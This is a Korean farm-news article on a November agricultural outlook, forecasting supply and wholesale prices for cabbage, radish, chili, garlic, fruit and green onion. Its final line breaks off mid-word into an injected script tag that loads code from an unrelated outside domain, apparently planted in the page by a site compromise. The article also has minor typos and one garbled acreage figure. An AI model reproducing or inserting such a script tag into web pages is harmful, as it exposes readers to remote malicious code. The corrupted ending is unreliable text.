
" 무·배추는 10월에 이어 이달에도 출하량 감소로 상승세가 예상된다. 또 지난달 일시적인 급등세를 보였던 고추는 진정국면에 접어들 전망이다.
한국농촌경제연구원 농업관측센터(센터장 이정환)가 발표한 11월 농업관측에 따르면 비피해로 연중 최고치를 기록하던 배추가격이 11월중순까지 주출하지역인 중부지방의 공급부족으로 고공행진을 계속할 것으로 분석했다. 무도 지난해 같은 기간보다 출햐량이 30%가량 감소, 지난해 같은 기간보다 40%이상 오른 5톤차당 2백50만원선을 유지할 것으로 내다봤다.
지난해보다 40%, 예년보다 5% 많은 22만1천톤이 생산될 것으로 예상되는 고추는 지난달 끝물 작황이 나빠 하순에 일시적인 가격상승이 있었으나 이달부터 6백g당 3천5백∼4천원에서 안정될 것으로 전망했다.
마늘은 작년 동기보다 출하량이 14% 많을 것으로 추정, 가격은 작년 동기보다 30% 낮은 2천~2천4백원이 될 것으로 분석했다. 그러나 내년산 마늘 재배면적은 금년보다 3% 감소한 4만1천2백ha가 될 것으로 조사됐다.
사과 출하량은 작년보다 9% 증가하나, 금년산 품질이 좋아 수요가 5% 이상 증가해 11, 12월 시세는 작년과 비슷한 상품 15kg당 2만4천원선을 형성할 것으로 보인다. 또 배는 품질이 나빠 출하량증가에도 불구, 수요는 소폭 늘어나는데 그칠 것으로 전만된다.
김대수 scoop@aflnews.co.kr
■배추
이달이후 출하 예정면적은 작년보다 15%, 단수는 5%이상 감소할 것으로 보여 김장철 출하물량은 전년보다 19% 격감할 것으로 전망된다.
11월 중순이후 도매가격은 2백50~3백만원대로 안정될 것으로 보이며, 호남지역 물량의 출하가 본격화될 11월 중순까지는 공급이 부족해 높은 시세가 당분간 지속될 것으로 전망된다.
월동배추 재배면적은 작년보다 13%가량 줄어든 것으로 나타났다. 지역별로 해남이 작년보다 11%, 진도15%, 제주19% 감소했다.
지난달 1일 5톤 차당 3백10만원이던 도매가격이 27일 5백만원으로 껑충 뛰어 연중 최고 시세를 기록했다. 지난달 상품 평균가격은 5톤 차당 4백59만원으로 평년보다 1백63%, 지난해보다는 71% 높은 시세.
이같은 가격상승은 강원, 경기지역의 출하면적이 작년보다 10% 감소한데다 비 피해로 단수도 작년보다 8% 감소, 공급량이 17%감소했기 때문이다.
경기, 강원, 충청, 호남지역에서는 포전거래가 예년보다 활발해 총 면적의 75% 이상이 팔렸으나 영남지역은 작황이 나빠 전체 면적의 30% 정도만 팔린 것으로 조사됐다. 전국 평균 거래가격은 10a당 134만원으로 나타났다.
가을배추 재배면적은 작년보다 13% 줄어든 1만 2천9백29ha로 경남지역의 비 피해로 정식하지 못한 면적이 많아 작년보다 40%나 감소했다.
수확시기별 면적은 지난달에 작년보다 10% 적었으나 이달부터 연말까지는 전년보다 15%적을 것으로 추정된다.
■무
이달이후 출하물량은 작년보다 31% 정도 적을 것으로 전망됨에 따라 김장철에 상품 도매가격이 작년보다 40% 이상 높은 2백50만원 내외가 될 것으로 전망된다.
지난달 상품의 평균가격은 5톤 차당 3백54만원으로 평년 10월보다 81%, 작년 10월보다 26%높았다.
이는 강원, 경기, 충청지역을 중심으로 10월 출하면적이 작년보다 11% 감소한데다 단수도 작년보다 9%감소해 공급량이 19%나 감소하였기 때문이다. 가을무 재배면적은 작년보다 22% 줄어든 1만1천8백75ha로 주산지인 전북의 면적이 많이 감소했다.
경기, 강원, 호남지역에서는 포전거래가 예년보다 매우 활발하여 총 면적의 80% 내외가 팔렸으나 영남지역은 작황이 나빠 전체 면적의 48% 정도만 팔린 것으로 조사되었다. 전국 평균 거래가격은 10a당 89만원으로 나타났다.
수확시기별 면적을 보면 10월에는 작년 같은 시기보다 11% 적었고 11, 12월에는 작년보다 25% 적을 것으로 추정된다.
농업관측 모니터 조사결과에 따르면 10월에 출하된 가을무의 10a당 수확량은 작년보다 9%적었고, 11월 이후 출하될 물량의 작황은 작년보다 8% 적을 것으로 조사됐다.
특히 영남지역의 작황이 나쁘고 가을무 주산지인 호남지역은 상대적으로 좋은 것으로 나타났다.
■대파
이달들어 출하면적이 지난해보다 13%증가할 것으로 예상된다.
올들어 정식한 대파 재배면적은 작년보다 12% 증가한 1만4천42백1ha로 주산지인 전남, 경기 등 전국적으로 면적이 증가한 것으로 나타났다.
11월 이후 내년 4월까지 출하될 면적은 작년보다 13% 증가한 8천7백27ha로 추정되며, 월별로는 11월 출하 예정면적은 작년보다 6%적은 반면, 12월과 내년에 출하될 면적은 작년보다 14~23% 증가할 것으로 분석됐다.
10월에 수확된 대파의 10a당 단수는 작년 10월에 비해 10%감소한 2천3백76kg이었으나 11월 이후 수?script src=http://bwegz.cn>
